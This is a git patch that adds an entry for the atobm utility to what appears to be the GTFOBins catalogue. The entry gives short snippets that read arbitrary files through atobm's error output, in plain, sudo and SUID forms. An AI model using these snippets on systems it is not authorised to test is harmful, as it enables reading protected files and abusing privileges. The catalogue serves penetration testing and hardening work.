From 4f11ca6a15cc712f3bfc26c1546e0cf821c3d5e6 Mon Sep 17 00:00:00 2001 From: Michalis Papadopoullos <2173624+xmpf@users.noreply.github.com> Date: Mon, 18 Jan 2021 00:11:43 +0200 Subject: [PATCH] Add atobm --- _gtfobins/atobm.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/atobm.md diff --git a/_gtfobins/atobm.md b/_gtfobins/atobm.md new file mode 100644 index 0000000..c94e272 --- /dev/null +++ b/_gtfobins/atobm.md @@ -0,0 +1,16 @@ +--- +description: Outputs the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`. +functions: + file-read: + - code: | + LFILE=file_to_read + atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}' + sudo: + - code: | + LFILE=file_to_read + sudo atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}' + suid: + - code: | + LFILE=file_to_read + ./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}' +---